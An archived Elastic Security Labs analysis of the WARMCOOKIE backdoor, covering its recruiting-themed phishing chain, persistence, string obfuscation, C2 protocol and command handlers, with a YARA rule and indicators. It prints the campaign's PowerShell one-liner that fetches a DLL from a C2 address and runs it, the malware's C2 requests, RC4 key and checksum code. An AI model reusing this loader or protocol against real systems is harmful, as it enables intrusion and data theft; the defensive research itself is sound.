{
	"id": "3ecce75d-20a2-48a9-8933-945ee11e702a",
	"created_at": "2026-04-06T00:17:51.823448Z",
	"updated_at": "2026-04-10T13:11:29.225994Z",
	"deleted_at": null,
	"sha1_hash": "87e5b44c31c49c2a4e28ecf0fcae362345a801d7",
	"title": "Dipping into Danger: The WARMCOOKIE backdoor",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3174394,
	"plain_text": "Dipping into Danger: The WARMCOOKIE backdoor\r\nBy Daniel Stepanic\r\nPublished: 2024-06-12 · Archived: 2026-04-05 21:30:28 UTC\r\nWARMCOOKIE at a glance\r\nElastic Security Labs observed a wave of email campaigns in late April targeting environments by deploying a new\r\nbackdoor we’re calling WARMCOOKIE based on data sent through the HTTP cookie parameter. During initial triage,\r\nour team identified code overlap with a previously publicly reported sample by eSentire. The unnamed sample\r\n( resident2.exe ) discussed in the post appears to be an older or deviated version of WARMCOOKIE. While some\r\nfeatures are similar, such as the implementation of string obfuscation, WARMCOOKIE contains differing functionality.\r\nOur team is seeing this threat distributed daily with the use of recruiting and job themes targeting individuals.\r\nWARMCOOKIE appears to be an initial backdoor tool used to scout out victim networks and deploy additional\r\npayloads. Each sample is compiled with a hard-coded C2 IP address and RC4 key.\r\nThis post will review an observed campaign and this new malware’s functionality. While the malware has a limited\r\nnumber of capabilities, it shouldn’t be taken lightly as it’s actively being used and impacting organizations at a global\r\nscale.\r\nKey takeaways\r\nREF6127 represents recruiting-themed phishing campaigns to deploy a new Windows backdoor:\r\nWARMCOOKIE\r\nWARMCOOKIE is a newly discovered backdoor used to fingerprint a machine, capture screenshots of the victim\r\nmachine, and deploy additional payloads\r\nThreat actors are spinning up new domains and infrastructure weekly to support these campaigns\r\nThis research includes an IDAPython script to decrypt strings from WARMCOOKIE\r\nElastic Security provides prevention and visibility capabilities across the entire WARMCOOKIE infection chain\r\nREF6127 campaign overview\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 1 of 26\n\nWARMCOOKIE execution flow\r\nSince late April 2024, our team has observed new phishing campaigns leveraging lures tied to recruiting firms. These\r\nemails targeted individuals by their names and their current employer, enticing victims to pursue new job opportunities\r\nby clicking a link to an internal system to view a job description. Below is an example of the phishing email collected\r\nfrom previous open source reporting.\r\nPhishing email - Subject: “We’re Interested”\r\nOnce clicked, the users hit a landing page that looks like a legitimate page specifically targeted for them. There, they are\r\nprompted to download a document by solving a CAPTCHA challenge. The landing pages resemble previous campaigns\r\ndocumented by Google Cloud’s security team when discussing a new variant of URSNIF. Below is an example of the\r\nlanding page collected from previous open source reporting.\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 2 of 26\n\nLanding page\r\nOnce the CAPTCHA is solved, an obfuscated JavaScript file is downloaded from the page. Our sample was named\r\nUpdate_23_04_2024_5689382.js ; however, other samples used a different but similar naming structure.\r\nThis obfuscated script runs PowerShell, kicking off the first task to load WARMCOOKIE.\r\nInitial execution chain as seen in Elastic Security for Endpoint\r\nThe PowerShell script abuses the Background Intelligent Transfer Service (BITS) to download WARMCOOKIE and run\r\nthe DLL with the Start export.\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 3 of 26\n\nstart-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\\' +\r\n [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source\r\n 'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35'\r\n -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d +\r\n ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job\r\nREF6127 infrastructure overview\r\nBy leveraging tools like urlscan.io and VirusTotal, we observed the threat actor continually generating new landing\r\npages rapidly on IP address 45.9.74[.]135 . The actor pushed to target different recruiting firms in combination with\r\nkeywords related to the job search industry.\r\nDomains associated with 45.9.74[.]135\r\nBefore hitting each landing page, the adversary distances itself by using compromised infrastructure to host the initial\r\nphishing URL, which redirects the different landing pages.\r\nPhishing link redirection\r\nThe threat actor generates new domains while the reputation catches up with each domain after each campaign run. At\r\nthe time of writing, the threat actor can be seen pivoting to fresh domains without many reputation hits.\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 4 of 26\n\nReputation for recently generated domains\r\nWARMCOOKIE malware anlaysis\r\nWARMCOOKIE is a Windows DLL used by the threat actor in two different stages. The first stage occurs right after the\r\nPowerShell download with the execution of WARMCOOKIE using the Start export.\r\nStage 1\r\nStage 1 copies the downloaded DLL from a temporary directory with a random name, such as: wid4ta3v.3gm, and\r\nplaces a copy of the DLL at C:\\ProgramData\\RtlUpd\\RtlUpd.dll\r\nAfter the copy, the malware sets up persistence using COM with the Windows Task Scheduler to configure the DLL to\r\nrun with the following parameters.\r\n\"C:\\WINDOWS\\system32\\rundll32.exe\" \"C:\\ProgramData\\RtlUpd\\RtlUpd.dll\",Start /p\r\nWith this design choice, WARMCOOKIE will run with System privileges from the Task Scheduler Engine. Below is a\r\nscreenshot from Hatching Triage showing these two stages:\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 5 of 26\n\nWARMCOOKIE - Execution chain\r\nPersistence\r\nA critical part of the infection chain comes from the scheduled task, which is set up at the very beginning of the\r\ninfection. The task name ( RtlUpd ) is scheduled to run every 10 minutes every day.\r\nPersistence - Scheduled Task\r\nStage 2\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 6 of 26\n\nThe second stage is where the DLL is combined with the command line ( Start /p ) and contains the core functionality\r\nof WARMCOOKIE. The malware starts by looking for the DLL inside the temporary directory from the PowerShell\r\ndownload.\r\nInitial code within WARMCOOKIE\r\nObfuscation\r\nWARMCOOKIE protects its strings using a custom string decryption algorithm. The first four bytes of each encrypted\r\nstring in the .rdata section represent the size, the next four-bytes represent the RC4 key, and the remaining bytes\r\nrepresent the string.\r\nString Obfuscation - Legend\r\nBelow is the CyberChef recipe using the bytes from the screenshot above:\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 7 of 26\n\nString Decryption via CyberChef\r\nOne interesting observation is that the malware developer doesn’t always rotate the RC4 key between the encrypted\r\nstrings.\r\nSame RC4 key for different encrypted string\r\nDynamic API loading\r\nTo prevent static analysis from identifying its core functionality, WARMCOOKIE uses dynamic API loading. There is\r\nno API hashing/resolving, and the targeted DLLs and sensitive strings are protected using encryption.\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 8 of 26\n\nDynamic API loading within WARMCOOKIE\r\nAs demonstrated in the previous image, the developer shows some consideration for OpSec: any decrypted string is\r\nwiped from memory immediately after use, potentially avoiding memory signature scans.\r\nAnti-debugging\r\nThe malware contains a few anti-analysis checks commonly used to target sandboxes. These are based on logic for\r\nchecking the active number of CPU processors and physical/virtual memory values.\r\nSandbox verification\r\nBelow are the following conditions:\r\nIf the number of processors is greater than or equal to 4 and the calculated value from the\r\nGlobalMemoryStatusEx call is greater than or equal to 0xF00, the malware will continue execution\r\nIf the number of processors is greater than or equal to 8, the malware will continue execution\r\nIf the calculated value from the GlobalMemoryStatusEx call is greater than 0x2000 , the malware will continue\r\nexecution\r\nMutex\r\nEach WARMCOOKIE sample comes hard coded with a GUID-like string as a mutex. Below are some examples we\r\nhave observed:\r\nf92e6f3c-9cc3-4be0-966c-1be421e69140\r\n91f785f4-2fa4-4c85-954d-b96768ca76f2\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 9 of 26\n\nSetup before main functionality, including mutex creation\r\nBefore the main functionality is executed, WARMCOOKIE uses an OR statement to verify the command-line arguments\r\nwith /p returns True or to check whether the scheduled task persistence needs to be created.\r\nExecution\r\nBefore the backdoor makes its first outbound network request, it captures the following values used to fingerprint and\r\nidentify the victim machine.\r\nVolume serial number\r\nDNS domain of the victim machine\r\nComputer name\r\nUsername\r\nThis was a criteria used to identify the similarities to the malware in eSentire’s report.\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 10 of 26\n\nChecksum calculations similar to eSentire's report\r\nThe WARMCOOKIE C2 server likely leverages a CRC32 checksum function to verify content sent from the victim\r\nmachine. Inside WARMCOOKIE itself is a checksum function that takes an input string, a length, and an initial seed\r\nvalue for the CRC32 function. At the beginning of the function, the seed value is negated, so at different times, the\r\nchecksum function is called with different seeds. We believe the developer added this step to make it a little harder for\r\nresearchers to analyze and waste time.\r\nBeginning of CRC32 checksum function\r\nThe following three checksum calculations are encrypted with RC4 and sent through the HTTP cookie parameter:\r\nCRC32(c2_message_data)\r\nCRC32(mutex) ^ volume serial number\r\nCRC32(username) ^ CRC32(computer name)\r\nBelow is the implementation in Python with a usage example in the Appendix:\r\ndef calculate_checksum(str_input, str_len, i):\r\n if i == 0:\r\n i = 0xFFFFFFFF\r\n if i == -1:\r\n i = 0\r\n for idx in range(0, str_len, 2):\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 11 of 26\n\nv6 = str_input[idx] | (str_input[idx + 1] \u003c\u003c 8)\r\n for _ in range(16):\r\n if (v6 ^ i) \u0026 1:\r\n i = ((i \u003e\u003e 1) ^ 0xEDB88320) \u0026 0xFFFFFFFF\r\n else:\r\n i = (i \u003e\u003e 1) \u0026 0xFFFFFFFF\r\n v6 \u003e\u003e= 1\r\n return ~i \u0026 0xFFFFFFFF\r\nCommunication\r\nWARMCOOKIE samples communicate over HTTP with a hardcoded IP address. The family uses a combination of RC4\r\nand Base64 to protect its network traffic. The RC4 key is embedded in each sample. We have observed the same key\r\nbeing used in multiple samples. The key during this analysis is 24de21a8dc08434c\r\nHardcoded RC4 key being decrypted\r\nThe malware uses a custom structure to send the initial request to the C2 server, including the previously described\r\nchecksum values and several fields used to track the offsets and size of the variable data.\r\nThese values are sent through the HTTP cookie parameter using the following custom structure:\r\nenum request_type\r\n{\r\n REGISTRATION = 1,\r\n COMMAND = 2\r\n};\r\nstruct os_info\r\n{\r\n int major_version;\r\n int minor_version;\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 12 of 26\n\nint build_number;\r\n int version_calc;\r\n};\r\nstruct initial_request\r\n{\r\n int checksum_c2_message_data;\r\n int checksum_volume_mutex;\r\n int checksum_computer_name_username;\r\n request_type request_type;\r\n os_info os_ver;\r\n int offset_to_dns_domain;\r\n int size_base64_dns_domain;\r\n int offset_to_base64_computer_name;\r\n int size_base64_computer_name;\r\n int offset_to_base64_username;\r\n int size_base64_username;\r\n char base64_dns_domain[]; // Variable-length array\r\n char base64_username[]; // Variable-length array\r\n char base64_computer_name[]; // Variable-length array\r\n};\r\nThe first request to the C2 server is sent through a GET request using User Agent: Mozilla / 4.0 (compatible; MSIE\r\n6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705 .\r\nGET http://185.49.69[.]41/ HTTP/1.1\r\nCookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4Rwj\r\nUser-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)\r\nHost: 185.49.69[.]41\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 13 of 26\n\nBelow is the CyberChef recipe of the HTTP cookie parameter decrypted from the first request, followed by a legend of\r\nthe fields:\r\nDecryption of HTTP cookie via CyberChef\r\nDecryption of HTTP cookie parameters via ImHex\r\nWARMCOOKIE inserts a few integrity checks by generating hashes using the previously described checksum function.\r\nFor example, the data in the decrypted HTTP cookie parameter from the 4th byte to the end is hashed and placed at the\r\nbeginning (offset 0). Using the example above, this checksum value is 0xe51387e9\r\nBefore the malware can receive instructions, integrity checks are also used to verify the incoming response from the C2\r\nserver. In this scenario, the C2 server produces the expected checksum for the data sent to the victim machine. This is\r\nlocated in the first four bytes of the request.\r\nChecksum verification from incoming server request\r\nBelow is a demonstration of this integrity check where the request data’s hash is 0x50d26cc3 .\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 14 of 26\n\nIntegrity check via CyberChef\r\nIf the checksum matches, WARMCOOKIE reads the command ID at the 8th-byte offset of the request to proceed to\r\nmove to the next command handler.\r\nBot functionality\r\nWARMCOOKIE provides 7 command handlers for threat actors to retrieve additional victim information, record\r\nscreenshots, launch additional payloads, etc. The provided functionality is relatively straightforward, allowing threat\r\ngroups that need a lightweight backdoor to monitor victims and deploy further damaging payloads such as ransomware.\r\nCommand ID Description\r\n1 Retrieve victim details\r\n2 Record screenshots of victim machine\r\n3 Retrieve installed programs via Uninstall registry path\r\n4 Command-line execution (cmd.exe /c)\r\n5 Write file to victim machine\r\n6 Read file from victim machine\r\n10 Delete scheduled task persistence\r\nRetrieve victim details - command ID (1)\r\nThis handler fingerprints and identifies the victim machines by collecting the IP address and CPU information.\r\nInterestingly, the imports required for this handler are statically imported.\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 15 of 26\n\nRetrieving CPU info (Handler 1)\r\nThe malware uses HTTP POST requests when sending data back to the C2 server. The HTTP POST request data is\r\nencrypted via RC4 and sent over the network in raw form. In addition, the IP address and CPU information are Base64\r\nencoded.\r\nPOST http://185.49.69[.]41/ HTTP/1.1\r\nCookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4Rwj\r\nUser-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)\r\nHost: 185.49.69.41\r\nContent-Length: 136\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\n qI:f*m yڂ z ? ! ,!w k i A K k8 .(M ދ\u003c ޣ u[ôz 0 -U~ 9 z G( *X o_ _ * Y, q glTs XI8b\\)W W\"\r\nAfter decrypting the HTTP POST request data, this presents a similar structure as before, where the data is front-loaded\r\nwith the checksum values, offsets, and sizes to the pertinent information targeted by the handler. In this case, the Base64\r\nencoded data is the IP Address and CPU info.\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 16 of 26\n\nDecrypted POST Request Data from Handler 1\r\nEncoded Value Decoded Value\r\nMTkyLjE2OC4xODIuMTMx 192.168.182.131\r\nQU1EIFJ5emVuIDcgNzgwMFgzRCA4LUNvcmUgUHJvY2Vzc29yICAgICAgICAgICA=\r\nAMD Ryzen 7\r\n7800X3D 8-Core\r\nProcessor\r\nScreenshot capture - command ID (2)\r\nThe ability to capture screenshots from victim machines provides a wide range of malicious options, such as stealing\r\nsensitive information displayed on the screen or actively monitoring the victim’s machine. This handler dynamically\r\nloads Windows DLLs used for graphics and drawing operations, such as GDI32.DLL and GDIPLUS.DLL , and then uses\r\nvarious APIs, such as BitBlt , CreateCompatibleBitmap , and GetSystemMetrics to generate the screenshot.\r\nScreen capture via BitBlt\r\nThe collected screenshot is encrypted with RC4 and sent through a POST request along with the checksum data.\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 17 of 26\n\nDecrypted POST Request Data from Handler 3\r\nBy looking for the file header JPEG File Interchange Format (JFIF) , we can carve out the image, and find a high-quality image of our sandbox machine (below) based on our request to this handler.\r\nDesktop capture from VM sandbox\r\nRetrieve installed programs - command ID (3)\r\nThis handler enumerates the installed programs on the victim machine via the registry key:\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 18 of 26\n\nGrabbing the installed programs from the registry\r\nThe program's name, version, and installation date are Base64 encoded and placed into a pipe-delimited format along\r\nwith the checksum data, offsets, and sizing.\r\nDecrypted POST Request Data from Handler 3\r\nBelow is an example of one of the registry entries:\r\nEncoded Value Decoded Value\r\nNy1aaXAgMTguMDEgKHg2NCk= 7-Zip 18.01 (x64)\r\nCommand-line execution - command ID (4)\r\nWARMCOOKIE uses this handler to provide backdoor access to the victim machine. The operator provides an argument\r\nthat gets executed to cmd.exe /c without a console window.\r\nNew process creation with custom command line\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 19 of 26\n\nIn the example below, whoami is provided as the argument:\r\nProcess tree with command-lines\r\nThis function reads the output from the provided command and stores it in Base64, where it’s sent back to the C2 server.\r\nBelow is an example of the decrypted data for this handler:\r\nDecrypted POST Request Data from Handler 4\r\nEncoded Value Decoded Value\r\nZGVza3RvcC0yYzNpcWhvXHJlbQ0K desktop-2c3iqho\\rem\r\nWrite file - command ID (5)\r\nWARMCOOKIE can drop files on the victim machine; the threat actors provide the file path and file data.\r\nFile Creation within Handler 5\r\nAs a test, we can write a file within a directory with some data and then read it in the next handler.\r\nCustom file creation\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 20 of 26\n\nData written to custom file\r\nDepending on the file write result, WARMCOOKIE will send out a POST request with one of the following Base64\r\nencoded values:\r\nOK\r\nERROR: Cannot write file\r\nDecrypted POST Request Data from Handler 5\r\nRead file - command ID (6)\r\nThis handler can read file content from machines infected with WARMCOOKIE. The threat actor needs to provide the\r\nfile path as the argument.\r\nReading files within Handler 6\r\nDepending on the file read result, WARMCOOKIE will send out a POST request with one of the following Base64\r\nencoded values along with the file contents:\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 21 of 26\n\nOK (See 'Files' tab)\r\nERROR: Cannot read file\r\nDecrypted POST Request Data from Handler 6\r\nBased on the previous wording around a Files tab, the WARMCOOKIE operators may use a GUI element.\r\nRemove persistence - command ID (10)\r\nThis handler removes the previously configured scheduled task with the name RtlUpd . By leveraging COM, it will call\r\nDeleteFileW within mstask.dll to remove the task.\r\nCallstack showing task deletion via COM\r\nIDA string decryption tool\r\nElastic Security Labs is releasing an IDAPython script used to decrypt strings from WARMCOOKIE. The decrypted\r\nstrings will be placed in the IDA Pro decompiler helping analysts identify key functionality. The string decryption and\r\nIDA commenting tool can be downloaded here.\r\nConclusion\r\nWARMCOOKIE is a newly discovered backdoor that is gaining popularity and is being used in campaigns targeting\r\nusers across the globe. Our team believes this malware represents a formidable threat that provides the capability to\r\naccess target environments and push additional types of malware down to victims. While there is room for improvement\r\non the malware development side, we believe these minor issues will be addressed over time. Elastic Security Labs will\r\ncontinue to monitor this threat and recommends that the industry do the same.\r\nWARMCOOKIE and MITRE ATT\u0026CK\r\nElastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced\r\npersistent threats use against enterprise networks.\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 22 of 26\n\nTactics\r\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an\r\naction.\r\nInitial Access\r\nExecution\r\nDefense Evasion\r\nDiscovery\r\nCommand and Control\r\nExfiltration\r\nTechniques\r\nTechniques represent how an adversary achieves a tactical goal by performing an action.\r\nPhishing\r\nUser Execution: Malicious Link\r\nCommand and Scripting Interpreter: PowerShell\r\nSystem Information Discovery\r\nScheduled Task/Job\r\nScreen Capture\r\nCommand and Scripting Interpreter: Windows Command Shell\r\nPreventing and detecting WARMCOOKIE\r\nPrevention\r\nSuspicious PowerShell Downloads\r\nScheduled Task Creation by an Unusual Process\r\nSuspicious PowerShell Execution via Windows Scripts\r\nRunDLL32/Regsvr32 Loads a DLL Downloaded via BITS\r\nRunDLL32 with Unusual Arguments\r\nWindows.Trojan.WarmCookie\r\nDetection w/YARA\r\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify WARMCOOKIE:\r\nrule Windows_Trojan_WarmCookie_7d32fa90 {\r\n meta:\r\n author = \"Elastic Security\"\r\n creation_date = \"2024-04-29\"\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 23 of 26\n\nlast_modified = \"2024-05-08\"\r\n os = \"Windows\"\r\n arch = \"x86\"\r\n threat_name = \"Windows.Trojan.WarmCookie\"\r\n license = \"Elastic License v2\"\r\n strings:\r\n $seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }\r\n $seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }\r\n $seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D\r\n $seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 0\r\n $plain_str1 = \"release.dll\" ascii fullword\r\n $plain_str2 = \"\\\"Main Invoked.\\\"\" ascii fullword\r\n $plain_str3 = \"\\\"Main Returned.\\\"\" ascii fullword\r\n $decrypt_str1 = \"ERROR: Cannot write file\" wide fullword\r\n $decrypt_str2 = \"OK (No output data)\" wide fullword\r\n $decrypt_str3 = \"OK (See 'Files' tab)\" wide fullword\r\n $decrypt_str4 = \"cmd.exe /c %ls\" wide fullword\r\n $decrypt_str5 = \"Cookie:\" wide fullword\r\n $decrypt_str6 = \"%ls\\\\*.*\" wide fullword\r\n condition:\r\n (3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)\r\n}\r\nObservations\r\nAll observables are also available for download in both ECS and STIX format.\r\nThe following observables were discussed in this research.\r\nObservable Type Name Reference\r\nccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13\r\nSHA-256\r\nRtlUpd.dll WARMCOOKIE\r\nomeindia[.]com domain Phishing link\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 24 of 26\n\nObservable Type Name Reference\r\nassets.work-for[.]top domain Landing page\r\n45.9.74[.]135\r\nipv4-\r\naddr\r\nLanding page\r\n80.66.88[.]146\r\nipv4-\r\naddr\r\nWARMCOOKIE\r\nC2 server\r\n185.49.69[.]41\r\nipv4-\r\naddr\r\nWARMCOOKIE\r\nC2 server\r\nReferences\r\nThe following were referenced throughout the above research:\r\nhttps://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign\r\nhttps://x.com/Cryptolaemus1/status/1785423804577034362\r\nAppendix\r\nChecksum example\r\ndef calculate_checksum(str_input, str_len, i):\r\n if i == 0:\r\n i = 0xFFFFFFFF\r\n if i == -1:\r\n i = 0\r\n for idx in range(0, str_len, 2):\r\n v6 = str_input[idx] | (str_input[idx + 1] \u003c\u003c 8)\r\n for _ in range(16):\r\n if (v6 ^ i) \u0026 1:\r\n i = ((i \u003e\u003e 1) ^ 0xEDB88320) \u0026 0xFFFFFFFF\r\n else:\r\n i = (i \u003e\u003e 1) \u0026 0xFFFFFFFF\r\n v6 \u003e\u003e= 1\r\n return ~i \u0026 0xFFFFFFFF\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 25 of 26\n\nserial_volume = 0x0A2C9AD2F\r\nmutex = \"f92e6f3c-9cc3-4be0-966c-1be421e69140\".encode(\"utf-16le\")\r\nmutex_result = calculate_checksum(mutex, len(mutex), -1)\r\nusername = \"REM\\x00\".encode(\"utf-16le\")\r\nusername_result = calculate_checksum(username, len(username), -1)\r\ncomputer_name = \"DESKTOP-2C3IQHO\".encode(\"utf-16le\")\r\ncomputer_name_result = calculate_checksum(computer_name, len(computer_name), -1)\r\nprint(f\"Mutex: {hex(mutex_result)}\")\r\nprint(f\"Username: {hex(username_result)}\")\r\nprint(f\"Computer Name: {hex(computer_name_result)}\")\r\nprint(f\"#1 Checksum: {hex(serial_volume ^ mutex_result)}\")\r\nprint(f\"#2 Checksum: {hex(username_result ^ computer_name_result)}\")\r\nSource: https://www.elastic.co/security-labs/dipping-into-danger\r\nhttps://www.elastic.co/security-labs/dipping-into-danger\r\nPage 26 of 26",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.elastic.co/security-labs/dipping-into-danger"
	],
	"report_names": [
		"dipping-into-danger"
	],
	"threat_actors": [],
	"ts_created_at": 1775434671,
	"ts_updated_at": 1775826689,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/87e5b44c31c49c2a4e28ecf0fcae362345a801d7.pdf",
		"text": "https://archive.orkl.eu/87e5b44c31c49c2a4e28ecf0fcae362345a801d7.txt",
		"img": "https://archive.orkl.eu/87e5b44c31c49c2a4e28ecf0fcae362345a801d7.jpg"
	}
}